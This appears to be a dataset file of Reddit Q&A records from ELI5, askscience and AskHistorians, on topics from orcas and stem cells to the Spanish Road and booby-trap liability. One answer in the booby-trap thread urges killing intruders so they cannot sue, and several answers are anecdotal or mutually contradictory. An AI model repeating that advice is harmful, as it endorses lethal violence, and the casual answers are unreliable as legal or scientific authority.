{"q_id": "c2eewv", "title": "- why are whales, particular killer whales, not aggressive towards humans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c2eewv/eli5_why_are_whales_particular_killer_whales_not/", "answers": {"a_id": ["erjjg0n", "erjjpv8", "erjk6ly", "erkbq33"], "score": [12, 2, 3, 3], "text": ["For the same reason they are not aggressive to most things. Aggression is a costly thing for any creature; it immediately increases the risk of harm to itself - so its usually best to be chill unless there is a specific reason not to be. When creatures are aggressive it is because they are hunting or there is a threat they recognise as a threat (like a predator, or something that will compete for food, or compete for sex).\n\nIn order to be aggressive you have to be seen as a threat or food. Humans are not native to the sea, and most sea predators are confident enough that they don\u2019t get twitchy about unusual things being threatening. Likewise, many predators are picky eater, not random opportunists - so we are not seen as likely food - usually.\n\nEven those shark bites people are scared of are supposed to be more a \u201ctaste\u201d to see if we might be food. Only that\u2019s usually lethal for us, because we are fragile animals of the land.", "Cetaceans (whales, dolphins, and porpoises) are highly intelligent and social animals. They know individual humans not a threat to them unless they're provoked in some way. They also know we're not not part of their regular diet. They're actually pretty picky about what they eat. Much like (most people) wouldn't bother wasting time and energy hunting something that we have no intention of eating or attacking something that's not a threat, toothed whales do the same.", "One reason is that orcas like sea creates, for example seals, that are essentially bags of blubber and muscle. We land animals have lots of long, hard bones to keep ourselves upright. We are likely to give an orca a bad case of indigestion.", "I think orcas probably have it instinctively ingrained in them at this point that attacking a human can only lead to harpoons and other bad things"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1h3nw6", "title": "Will I cool more efficiently if I shave off my body hair?", "selftext": "I have two contradicting thoughts:\n1) Body hair traps a bubble of heat around you.\n2) Body hair traps sweat and allows it to evaporate over a longer time.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1h3nw6/will_i_cool_more_efficiently_if_i_shave_off_my/", "answers": {"a_id": ["caqkjlf", "caqmiuf"], "score": [29, 6], "text": ["**Edited Intro**: Below the line is the beginning of a long discussion that results in the correct answer only a ways down. For ease of reading, I'll put the actual answer here. Many thanks to /u/PoorPolonius and /u/Mettalio for poking holes until I got around to producing the correct articles. It's an important lesson to be more precise in the future.\n\nThe answer is: It depends. Without wind, or any other current driving air across the skin, hair does not contribute to insulation.\n\"In still air there was no consistent relation between hair density and fur conductance, i.e., apart from \nobstructing radiation, the fur appeared to be unnecessary for insulation. In a wind, however, the relation between hair density and insulation was obvious; the air over naked skin was 15 times as conductive as rabbit fur in a wind of 18 mph.\" (Traegar, 1965, The Journal of Applied Physiology).\n\nThe key \"cutoff\" for this is at about 1000 hairs/cm2, which is pretty far from what a human has on their body; I'm not positive what the density of head hair is. What this means is that the hair on your body is not significantly more effective at reducing heat loss than naked skin, even under a condition where air is being blown over your body.\n\n_URL_1_\n\n------------------------------------------------------\nSlower evaporation will result in slower cooling, actually.\n\nThe answer to your primary question, however, seems to be a \"maybe\".\nThe abstract of the article \"The loss of functional body hair in man: the influence of thermal environment, body form and bipedality\" by P.E. Wheeler in *The Journal of Human Evolution* suggests that the loss of body hair was purposed to maximize heat dissipation in the unusually bipedal hominid humans.\n\nHowever, the idea that hair on our heads is to prevent heat loss has been debunked, and if that hair isn't as useful as we thought, I'll wager that the comparatively fine, thin coating of hair on your limbs and body does little and less for maintaining body heat, so shaving yourself clean will probably not cause much of an effect.\n\nEDIT: Many thanks to Poor /u/PoorPolonius, who got downvoted in his attempts to correct me. Thanks to his gentle nagging, I've posted the best two articles I can find on the subject below: _URL_0_\n", "Both of your statements are probably true, but apply in different environments. When it's cold, hair provides an extra layer of insulation to help keep heat in. When it's hot, hair keeps sweat from rolling down your skin by gravity, allowing it more time to evaporate and cool local skin sites. But having too much hair causes the local vapor pressure to reach a point of diminishing returns where the evaporation rate slows, so that's probably why we evolved with less body hair than other similar creatures. That and the fact that, again, hair is an insulator. After all, we did evolve around the equator in a warm environment. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/askscience/comments/1h3nw6/will_i_cool_more_efficiently_if_i_shave_off_my/caqooqc", "http://jap.physiology.org/content/20/4/796.full.pdf+html"], []]}
{"q_id": "caa81x", "title": "why are the letters x, y and z used for representing points in a coordinate system?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/caa81x/eli5_why_are_the_letters_x_y_and_z_used_for/", "answers": {"a_id": ["et75hwu", "et75jzr", "et7y81u", "et86fp1", "et88834"], "score": [50, 361, 3, 6, 3], "text": ["X was chosen long ago as the standard variable (there's an interesting TED talk explaining why if you want me to go find it). When we need more variables for plotting on a 2-D chart or in a 3-D space, logically we just choose the next letters in the alphabet.\n\nObviously we run out, so we can't quite continue the pattern with 4 spatial dimensions (\"spatial\" is important because if it's time we just use t), so we go backwards from x and use w.", "Rene Descartes started using those letters to represent unknown coordinates in his maths book 'La Geometrie' and everybody else followed the convention from there. Same reason as that the ratio between circumference and diameter uses the \u03c0 symbol - Euler started doing it and it got popular from there.", "As a maths teacher, I like to explain to my students that maths is a universal language in a lot of ways. You can be from any country and you all recognise multiplication and division signs etc. We also discuss dialects and how there can be slight variations, but enough is the same to understand the general idea", "Someone decided to use it when they started making math, and everyone else just followed along so no one got needlessly confused.", "Sometimes i,j,k is used. Or p,q,r. Not that I know why. Also there's more than one coordinate system so sometimes we use r,theta,phi too"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "y34a9", "title": "Would this actually work in preventing the damage from the venom of a Brown Recluse spider bite?", "selftext": "[From here](_URL_0_).", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/y34a9/would_this_actually_work_in_preventing_the_damage/", "answers": {"a_id": ["c5rwdvc"], "score": [2], "text": ["If we accept the mechanism described for how the venom destroys tissue and can guess at values for the diffusivity of the enzyme, the temperature necessary to denature it, and how much heat over how much time is released by a burning matchhead, we could make a guess.  Assuming the match and bite are at the same point, we've got heat and venom diffusing out radially from a point on the skin;  the hemispherical geometry makes calculating a solution easier.  If a match will get the tissue hot enough to denature the enzyme, then you can determine at what times will application of the match head denature what fraction of the venom."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/WTF/comments/y2o95/along_came_a_brown_recluse_spider/c5rumy3?context=1"], "answers_urls": [[]]}
{"q_id": "29nx0k", "title": "what would happen if everyone on earth screamed at the same time?", "selftext": "title", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29nx0k/eli5_what_would_happen_if_everyone_on_earth/", "answers": {"a_id": ["cimra37", "cimrj2v", "cims0i3", "cimsyk9", "cimt1jp", "cimt8gp", "cimtxhu", "cimz907"], "score": [25, 7, 7, 3, 6, 3, 30, 2], "text": ["Approximately nothing. A few isolated areas would be louder for a moment.", "There just plain old aren't enough people on Earth for any result to occur.  We're too spread out.  Well what if we put everyone together?\n\n[I know this isn't what you're looking for, but I love it anyway.](_URL_0_)", "i'd smack you for screaming into my ear", "Then a nasty old giant space kangaroo won't boil our planet in beezle-nut oil. ", "It would sound like a One Direction concert.", "obi wan would be pissed. ", "We'd all get ice cream.", "The Earth would likely get blown-up, again. Like that time the Vogon Constructor Fleet appeared, announced the destruction Earth right before they destroyed the the planet to make way for a hyperspace bypass. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://what-if.xkcd.com/8/"], [], [], [], [], [], []]}
{"q_id": "it8tr", "title": "How is stem cell research going? Are there any real treatments for spinal cord injuries?", "selftext": "Some time ago I saw a 60 minutes episode on stem cells and fraudulent clinics. Are all the \"stem cell clinics\" fake? What is stem cell research mostly focused on?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/it8tr/how_is_stem_cell_research_going_are_there_any/", "answers": {"a_id": ["c26guh7", "c26in7u"], "score": [2, 3], "text": ["There is currently the first human clinical trial of stem cell therapy for spinal cord injuries underway. [Press release here.](_URL_0_)\n\nBig step, but it'll be a while yet before this therapy can become the standard of care.", "Stem Cell clinics can generally be considered dubious, if by stem cell clinics you mean organizations that claim to offer major therapy for spinal cord injury (SCI) using stem cells. The technology is simply not far enough developed yet. \n\nThis answer is based partly on my experience in the field, which is somewhat limited and restricted to classes I've taken and TA'd. I am, however, quite familiar with the literature. Mostly, the details draw from a recent review article that summarizes the state of clinical trials currently underway. [Here's](_URL_0_)\nan open access link.\n\nTo summarize, though you really should read the paper:\n\n* Clinical trials in the field are mainly in Phase 1 stages. These trials are primarily intended to demonstrate safety, they do not generally involve transplantation of what would be considered a therapeutic dose. As stated already, there's one such trial that started in October 2010, the Geron trial. A number will soon begin, we should see many underway soon. Given the slow pace of clinical research, if all goes well, it's 4-5 years from now to move to Phase 2/3 trials, and thence to eventual approval and use.\n\n* Stem cell research is a huge field, it's impossible to summarize everything that's being done. A few high points: 1) Reprogramming of adult stem cells into embryonic stem cells. (Induced Pluripotence). 2) Use of stem cells as delivery devices for other forms of gene therapy 3) Use of stem cells as a method to draw other regenerative cells to the site of injury (paracrine effects). 4) Use of stem cells as a direct method for regenerating damaged cells, for use in treating neurodegerative diseases, cardiomyopathies, etc.\n\n* In general, the arc of research is the following: Initial work is *in vitro*, and involves finding new types of culture media, materials, hydrogels, factors etc. to control expression and cell health. Validation occurs in animal models, typically in mice and rats. The transition to humans is immensely complex and costly, which is why you might think that the field has stagnated. It hasn't though, it's just a very hard and broad problem. \n\n\n If you'd like additional details, let me know, I'm unsure what level of detail you'd like."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.geron.com/media/pressview.aspx?id=1235"], ["http://lawrencemoon.co.uk/publications/Thomas_and_Moon_2011.pdf"]]}
{"q_id": "5ycet7", "title": "Why were the alpha particles used in testing the atomic structure as proposed by the plum pudding model expected to pass through the sphere of positive charge instead of deflecting off of it due to the electrostatic forces?", "selftext": "Alpha particles are positively charged, so why were they expected to pass completely through the sphere, which was thought to be the source of positive charge before protons were discovered? \n\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5ycet7/why_were_the_alpha_particles_used_in_testing_the/", "answers": {"a_id": ["dep0yyq"], "score": [6], "text": ["Before the Rutherford experiment people believed in the plum pudding model of the atom, that positive charge was spread out throughout the atom.  The Rutherford experiment showed that charge was concentrated at the center of the atom because most alpha particles were transmitted but some were deflected.\n\nIn a plum pudding model the positive charges are spread out, so there's no reason to think the alpha particles would be deflected.  If materials are just a soup of positive and negative, then the alpha particles might just go straight through."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2gy0i6", "title": "if the universe is constantly expanding at all points, how can earth (and other planets) maintain a cyclic orbit around the sun?", "selftext": "Wouldn't the distance between the sun and planets slowly increase which would cause them to eventually lose orbit?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gy0i6/eli5_if_the_universe_is_constantly_expanding_at/", "answers": {"a_id": ["cknjbru", "cknk11n", "cknlk6u"], "score": [5, 48, 2], "text": ["It's not expanding fast enough to substantially affect things at such a small scale.\n\nThe Hubble Constant (rate at which space expands) is 60 kilometers per second per megaparsec. To put a megaparsec into terms that are understandable, this is about 2x10^11 times the distance of the earth to the sun.\n\nThis means space is only expanding at a rate of about 9 meters per year between the sun and the earth. Practically nothing.", "The other answer is wrong. The distance between the earth and the sun is not increasing due to the expansion of space. The gravitational well that is created by our galaxy forbids it. In other words, the gravitational force generated by our entire galaxy counteracts the effects of the expanding universe, and *within* the galaxy (where we live), space is not expanding. ", "Related question...  Exactly what is the universe expanding INTO? This one hurts my brain. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "61jmhn", "title": "The rights of African Americans were severely limited by Jim Crow Laws and segregation. But during Reconstruction, Congress was controlled by the Radical Republicans, who pushed through a bunch of legislation for the newly freed slaves. What happened to those Radical Republicans? Did they give up?", "selftext": "I", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/61jmhn/the_rights_of_african_americans_were_severely/", "answers": {"a_id": ["dff45ww"], "score": [17], "text": ["Alright, so Radical Reconstruction conveniently occurs the year before the Election of 1868. Southern states were just readmitted into the Union with Federal military units occupying those states. Coupled with the passage of the 13th, 14th, and 15th Amendment, black could legally vote. Prior to that, freedmen were prevented from voting by the KKK and discrimination at the polls. Federal troops curbed violence and allowed for Southern States to turn red, allowing for the election of Grant.\n\nTo answer your question, Radical Republicans didn't give up, the Northerners did. The Civil Rights Act of 1875 was overturned in the Civil Rights Cases. Redeemers took control of the South. Blacks weren't adequately protected by the KKK Acts or the Force Acts.  The Slaughterhouse Cases and US vs. Reese weakened the 14th Amendment. The Panic of 1873 occurred and the American economy tanked. Northerners reexamined the cost of occupying the South. \n\nThese senators and legislators passed numerous bills and legislation, but they were either overturned or rewritten. The Radical Republicans, to answer your question, \"gave up\" when they agreed to withdraw troops from the South if Hayes were given the presidency rather than Tilden.\n\nI can answer follow-up questions if you have them.\n\nSource: Enduring Vision, Chapter 16\n\nEdit: Fixed a word."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4ac32d", "title": "what does it mean to have an 'oral fixation,' and why might a person have one?", "selftext": "I was chewing a pen the other day and a guy at work teased me about having an oral fixation, then laughed when he found out I bite my nails. Nothing on google is making sense to me. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ac32d/eli5_what_does_it_mean_to_have_an_oral_fixation/", "answers": {"a_id": ["d0z4cuy", "d0z5348"], "score": [6, 3], "text": ["Sigmund Freud theorized that humans undergo five stages of [psychosexual development](_URL_0_) from birth till death, where in each stage the person enjoys sexual gratification from different things. The first stage is the oral stage, from birth to the age of around 1-2 years, where the mouth is the baby's erogenous zone - it enjoys breastfeeding, putting things in its mouth, and so on.\n\nA fixation is when an improper psychosexual development causes a person to fixate on a certain stage of their development. For example, if the baby wasn't breastfed enough, or was breastfed too much, then this could cause an oral fixation, where the person can be obsessed with oral stimulation.\n\nNote that Freud's theories, while important and groundbreaking, are heavily criticized and should be taken with a grain of salt.\n\nYou can read about it a little more [here](_URL_1_) and in the other wiki link I provided above.", "It's also worth knowing there are two types of fixations, according to Freud, expulsion and retention.\n\nFor example, oral expulsion would be things like constantly spitting, chewing then spitting up food, throwing up willingly, basically moving stuff out of the mouth.\n\nRetention is things like sucking on a thumb, chewing something for a long time, constantly eating, anything that involves putting things into the mouth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Psychosexual_development", "https://en.wikipedia.org/wiki/Oral_stage"], []]}
{"q_id": "31h4dm", "title": "Are there, or have there ever been any privately owned nuclear weapons?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/31h4dm/are_there_or_have_there_ever_been_any_privately/", "answers": {"a_id": ["cq1ubi0", "cq2184u", "cq2fqlz", "cq2q8iw"], "score": [72, 2, 5, 2], "text": ["In the United States, private ownership of nuclear weapons has been explicitly banned by the Atomic Energy Act since 1946. You can't even privately own a _patent_ for nuclear weapons. There were arrangements in the 1960s whereby private organizations could contract with the government to set off nuclear devices (Plowshares), but the devices themselves would still remain under government control.\n\nThere is no evidence of any other, private acquisition of nuclear weapons. ", "Followup question, I remember hearing about Soviet brief case nukes being stolen or going missing in the late 90s. Is there any truth that these nukes went missing? ", "Since people have been talking exclusively about the US, i'm hoping we can prod people to talk about nukes from other countries. Especially say post Soviet Europe. So could a nuke have been lost during the post soviet transition and if so/if not why? ", "In the aftermath of the fall of the Soviet Union, was there ever serious concern that nukes might fall into the hands of e.g. terrorist groups?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "46erxv", "title": "How did the Spanish get their troops to the Netherlands during the 80 years war? Did they march through France or send them by boat? Were there ever any problems with marching a large number of troops across foreign territory?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/46erxv/how_did_the_spanish_get_their_troops_to_the/", "answers": {"a_id": ["d04kope", "d04l43q"], "score": [29, 21], "text": ["Sea was an option, but far from the most favourable. The Dutch Navy was a powerful force, and could often harass/challenge attempts to send troops or other supplies to Flanders and the Spanish Netherlands by sea. The issue of communication between the various Habsburg realms (Netherlands, Iberia, Italy, Austria) was a continued one for large periods of history. \n\nOne of the main ways to solve the issue was the famous [Spanish Road](_URL_0_), which led from the Spanish possessions in Italy, northward over the Alps, through Franche-Comte and the HRE, before arriving in the Spanish Netherlands. Do note that France's eastern border is much further to the west during this period. [Map](_URL_1_). So, while they were not marching through France per se, they were marching through what was--mostly--Habsburg controlled or friendly. However, the Electoral Palatinate stood across a key portion of the Spanish Road, and was hostile to the Habsburgs, creating a major issue for the Spanish if they wished to resume the Dutch war after the Twelve Years Truce. \n\nThis strategic position of the Palatinate, along with the Elector Palatine's vote in the Imperial electoral college made the Electoral Palatine a vital territory in the pre-Thirty Years War politics of Europe. Importantly, it created a link between the internal politics of the Empire, and the wider politics of Europe. When Frederick V, Elector Palatine accepted the Crown of Bohemia, and was subsequently placed under the Imperial Ban, the Spanish forced attacked the Palatinate, both to clear their own way, and to enforce the Emperor's ban on Frederick. In this way, the issue of sending troops from their Mediterranean territories to the Low Countries played a key role in the opening stages of the Thirty Years War. ", "The Army of Flanders that fought for the King of Spain in the Low Countries consisted of Spanish, Italian, German, and local troops. Of these, the Spanish and Italian troops mostly came through the *Spanish Road*, from Milan through Switzerland to Franche-Comte and finally to Luxembourg and Brussels. The Spanish contingent was always in the minority. During active campaigning seasons, they can be as low as 10% of total numbers up to 30% of total numbers. However, both Spanish and Italian soldiers tended to use the same battle cry: [\"Santiago, Espa\u00f1a!\"](_URL_5_)\n\nThe first commander of the Army of Flanders, Fernando Alvarez de Toledo the third Duke of Alba, recommended this route to Philip II as he had traveled that way with Charles V before. It was consistent with Cardinal Granvelle's recommendation to avoid Germany due to the looming religious wars there that may destabilize the region. Alba was called from retirement, despite his gout, to lead a body of about 10,000 soldiers from parts of Spain to Italy, then up the Spanish road. It was an arduous undertaking with clearly difficult logistical challenges, but he made it with negligible loss. Such was the level of preparation and execution. They sent cartographers and engineers ahead to prepare the roads, negotiated with local rulers (even with Calvinist Geneva!), arranged for bread to be delivered reliably. \n\nSeveral routes are used, sometimes simultaneously, depending on conditions (political or otherwise). Here's a [handy chart](_URL_3_). \n\nA few units of troops and leaders and money used to be sent by sea through the English Channel. Elizabeth loathed the French much more than she did the Spanish, so she turned a blind eye. That is, until the situation in the Low Countries worsened for the rebels, risking permanent Spanish rule. She then confiscated vessels carrying payment from Spain to the Low Countries, leading Don Luis de Requesens' troops to mutiny and thus leading to the Spanish Fury in [The Sack of Antwerp](_URL_2_). That ended the availability of the sea route. \n\nThe Army of Flanders maintained an [Armada of Flanders](_URL_1_), nicknamed the *Dunkirkers*, based off Dunkirk. They were privateers that preyed on Dutch shipping, and was quite successful. However, when England became an enemy, they were largely cut off from Spanish fleets elsewhere in the Atlantic and Mediterranean. \n\nThe expeditionary army in Italy became very established as a training ground for Spanish and Italian troops. Green units from Spain were sent into guard duty in Italy, and experienced units were sent up the Spanish road. In this way, there was a [natural training and rotation system](_URL_4_) in place to train both soldiers and aspiring officers. \n\nThe Spanish road was extremely important, and the agreement between Spain and Austria to transfer control of key forts along the way had led to escalation of hostilities that led to outbreak of the worst periods of the Thirty Years' War. Similarly, it dragged further Spanish intervention in the region, including [Ambrogio Spinola's campaign](_URL_0_) around 1600 and the Cardinal-Infante's army afterwards. \n\nThe most fantastic read of all this is Parker's Army of Flanders and the Spanish Road, one of my favorite books."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/a/a6/El_Camino_Espa%C3%B1ol.PNG", "http://img09.deviantart.net/ad89/i/2013/141/8/9/europe__ad_1648____the_peace_of_westphalia_by_undevicesimus-d61mavp.jpg"], ["https://www.reddit.com/r/AskHistorians/comments/3yj6td/how_did_rulers_pay_their_armies_in_the_medieval/cyewsez", "https://www.reddit.com/r/AskHistorians/comments/3tr2ss/did_the_austriansspanish_keep_a_fleet_in_the/cx8y2hi", "https://www.reddit.com/r/AskHistorians/comments/3rjm0x/were_there_any_consequences_for_the_spanish/cwptpc7", "https://upload.wikimedia.org/wikipedia/commons/a/a6/El_Camino_Espa%C3%B1ol.PNG", "https://www.reddit.com/r/AskHistorians/comments/3rezha/how_did_armys_in_the_early_modern_and_modern_age/cwu3291", "https://www.reddit.com/r/AskHistorians/comments/3wsw9h/rise_of_great_powers_ama_part_un_western_europe/cxyzbou"]]}
{"q_id": "aj2ck1", "title": "what exactly happens in your body when you are in the impact area if a nuke is detonated?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aj2ck1/eli5_what_exactly_happens_in_your_body_when_you/", "answers": {"a_id": ["ees4l20", "ees69q8", "eespx6r", "eetqpgd"], "score": [6, 11, 4, 2], "text": ["Depends where you are but there are two immediate threats, the concussion blast basically a high pressure wave pushing out from the point of the explosion and the heat wave basically cooking your body at an extremely high temperature.", "Have you ever cooked a steak with the heat on too high? Doing so develops a crust of charred carbon on the exposed meat as all the moisture evaporates and the flammable fats burn off. It feels rock-like but is pretty brittle. That's what happens to all of your body in less than a second. And then right after that, the pressure wave will hit and scatter your charred remains as literal ashes in the wind. ", "it depends on where you are.  \n\n* If you are very close, you will turn into air.  You'll burn up immediately.  You will never be aware that something happened.  You'll just be gone.  most nuclear bombs are designed to be denoted several hundred feet up in the air.  So it very possible that nobody will be in this zone.\n* If you are further away you will be burned and knocked down by the shock wave.  you will probably die because everyone around is similarly injured.  Emergency responders who survived will be overwhelmed.  They will triage and try to help people who are more likely to survive.  You'll be on your own for hours or a a couple days.  All the building around you, except maybe underground parking garages will be destroyed.  If you were underground, you might be okay.  Roads are all destroyed.\n* Further away you will see a very bright light.  It will hang there for a little while.  You will have a few seconds to prepare.  then, you hear a loud noise and rush of air.  You won't be able to hear well afterwards.  your house catching fire will be your biggest concern.  broken glass from windows will also be a concern.\n* Very far away you will see a very bright light.  several seconds or minutes later you will hear a sound similar to thunder.", "The A bomb scene in the anime movie *Barefoot Gen* shows you. It has a clever way of showing everything happening and how fast it is because he drops a rock, bends to pick it up and all the chaos happens and finishes with him looking over and seeing his friend flashburned.\n\n**Warning: nightmare fuel** _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=D22kzf_bDvg"]]}
{"q_id": "2qx2v5", "title": "if you leave a dangerous trap for a robber, how liable would you be?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qx2v5/eli5if_you_leave_a_dangerous_trap_for_a_robber/", "answers": {"a_id": ["cnavhui", "cnaawph", "cnab2in", "cnacdoy", "cnadnfl", "cnadrp8", "cnads9g", "cnadw9u", "cnae85t", "cnaeldi", "cnag92j", "cnahnag", "cnaj2wv", "cnaqcxa"], "score": [6, 202, 4, 3, 35, 10, 28, 19, 6, 6, 3, 2, 3, 7], "text": ["Lawyer here.  This can vary somewhat state-by-state, but generally, there are three types of people on your property - invitees, licensees, and trespassers, and the standards of liability are different for each one.  Invitee means someone you invite onto your property - patrons or employees of a store, or a contractor working on your house.  Licensees are people who are allowed to be on your property rather than invited.  Social guests and police/fire/ambulance workers are considered licensees.  Trespassers are on your property without permission.\n\nIn most states, your only responsibilities to trespassers are (1) to avoid intentionally harming them, and (2) warn them if there's an especially deadly situation that isn't obvious.  You can have a sharp or high fence, and if a robber injured himself trying to climb it, you wouldn't be liable.  But you can't landmine your lawn just because people are walking over it.  And if you have a deep pit in your backyard, you need to put a warning sign.  A trespasser might be guilty of a minor crime, but the law doesn't accept that he deserves to die for it.  You can use reasonable self-defense measures without liability, like a dog on a chain.  But you can't do things like a storeowner who kept having people break in through his store's attic and set up an electrified grate and electrocuted a thief.  Some states now have a \"castle doctrine\" and allow deadly force to be used against a trespasser in your own home, but most don't.\n\nAlso, even if a criminal can technically sue for an injury, virtually every jury would refuse to give the criminal any money.", "If you intentionally setup a booby trap, you're liable in civil court.   Yes a robber can sue you for slipping and falling on your property.    It'll get tossed pretty quickly..,unless the judge sees that you put up flamethrowers, paint cans on pulleys,  glass shards, nails on boards, etc etc\n\n\nNow if you actually knew the robber was going to rob you and you put up a shotgun facing the door when he opened the door, the shotgun fires.   That's still manslaughter.  ", "It varies from jurisdiction to jurisdiction. In some you can use a trap (e.g. a spring gun) and you would have no liability. In others you can only use a trap that has the potential of deadly force if you would have been able to use the deadly force yourself. Others traps that use deadly force are illegal. In almost all jurisdictions you would be civilly liable for harm to a non-agressor (i.e. someone who just happened upon your property). See Katko v. Briney.", "This is why you make sure to kill them. If there is potential harm to you, those you care about, your property you better make sure they are dead. If you are really worried enough to set up a trap, then you probably believe there is imminent danger to the above. Make sure they are dead and they can't sue. ", "I had a long conversation about this with business major once who was going into the hotel industry.\n\nThere are three main levels of safety that you need to maintain in a property.\n\nSafety for guests, safety for workers, and safety for strangers\n\nSafety for guests is self explanatory. You invite someone over and they have a reasonable expectation of safety. If there are dangers, you warn them in advance. \"the doorsteps are slippery\" \"there's a giant pothole on the left side of the driveway\".\n\nSafety for workers is also pretty obvious. If you're mining, you're going to have your workers go in with steel toed boots, hard hats, flashlights. Anything else is needless risk. \n\nSafety for strangers usually doesn't come into play, but it is covered under law. It's not really designed for a burglar in mind. It's meant for officers, government officials, and civilians who didn't know better.\n\nLet's say you have $200 in your home. In order to protect it, you rig a shotgun to fire when someone opens the front door. (Excessive, yes. Effective... well it works once I guess) You go to McDonalds, die of a heart attack, and your house is now on the market.\n\nWeeks later the Realtor goes to your property. You're dead, so you don't own it anymore. Realtor opens the door and BLAM.\n\nThat's the kinda thing that particular set of laws are built for. A burglar is free to sue for injuries on their property, but they first would have to admit to burglary... so it seems unlikely/stupid.", "my friend had his car broken into multiple times and had his stereo stolen. he setup an extremely loud ear piercing alarm that would trigger in his cabin after 10 secs. The burglar sued and won because the alarm caused temp deafness in his right ear. The reason was he intended to do harm to the person who broke into his car.", "In the United States, booby traps are illegal. This is different from an intruder \"slipping and falling.\" By setting up a booby trap with an intent to harm someone or prevent intruders, you are committing a felony and, moreover, are held liable for any injuries or deaths caused by them. ", "It has more to do with whether the trap would equally hurt someone who lawfully came upon your premises as it would an intruder.  Famous case is a guy setup a spring-loaded shotgun that would trigger if someone opened the door to his remotely-located home and, sure enough, a burglar opened the door and was shot.  The court focused on the fact that the spring-loaded shotgun would trigger if ANYONE opened the door and its indiscriminate nature was the problem.\n\n/based off my hazy recollection of lawschool", "As a 1L law student we recently studied this. You may use deadly force to protect yourself if the force is reasonably deadly. But, you are not allowed to use deadly force to protect your property. An exception is something like a burglar has entered your home with a deadly weapon. While he is only attempting to steal your property the average reasonable person would perceive the weapon Asa serious threat to his life or serious bodily harm, which then, he could use deadly force and not be liable. But setting up traps, as mentioned before, a spring loaded shotgun at the door, is restricted. You would definitely be held liable to the injuries that occurred. But then again, it will fall to a balancing test. A shotgun, you're pretty liable. A foot noose trap, less likely because you're not using deadly nor excessive force.", "Here's a case study.  _URL_0_\nThis guy was angry that people kept breaking into his garage.  So he set up a silent alarm, left the garage door open, and baited the garage with valuables, with the intention to kill the next person who entered his garage.  Turned out to be a teenager.  The guy was recently found guilty of murder.", "In the US it depends on your jurisdiction as far as accidental harm. Most will not award damages to an intruder for something like a slip-and-fall but it's been known to happen, especially in more litigious parts of the country.\n\nNow, the intruder can still *sue*. You can sue for any reason. But it's likely to get thrown out.\n\nBooby traps - as in a device intended to be triggered by an intruder to harm or kill them - are illegal everywhere in the US. ", "It is specifically illegal ( at least in my state ) to set traps for humans in any case.\n\nHowever it is legal in my state to shoot on sight. No questions asked. If someone breaks into your home.", "I knew a farmer here in the UK who had a barn full of expensive equipment.\n\nSomeone climbed a fence, cut through barbed wire and went into the barn. In the dark they walked into the sharp tines of a plough and injured themselves.\n\nHe faced a civil suit for injuring the burglar. He won, but he still had to go through all the hassle. ", "In a similar vein, there was a group of people who got sick of drive-by purse snatching.  How it usually works is that two thieves on a scooter drive by an outdoor cafe.  The thief riding pillion grabs the purse of an unwary diner, and the driver guns the engine to yank it out of the owner's hands.  Then the thieves ride away on the scooter.  Happens all the damn time in Rome.  \nUntil this one time, some TV news show fastened a wire cable to a nearby concrete pillar and hid it in loops in a purse.  They set up a camera nearby, and got hilarious footage of the purse snatchers getting about 10 meters down the road and then WHAM! the thief ridding pillion gets yanked off the seat onto his/her ass when the cable fully pays out.  They played it on one of those \"Caught on Video!\" TV shows.  Thief after thief got plastered on the ground, some needing ambulances to fix their injuries.  The police let it go on for a day or two, but then some idiot got their arm amputated or something, and it had to stop.  The news network got sued and had to pay for all the hospital bills, and no nobody yanks thieves off scooters in Rome anymore.  Which makes me kind of sad because it was funny as hell to watch."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["http://www.huffingtonpost.com/2014/12/17/markus-kaarma-guilty-killing-german-exchange-student_n_6343356.html"], [], [], [], []]}
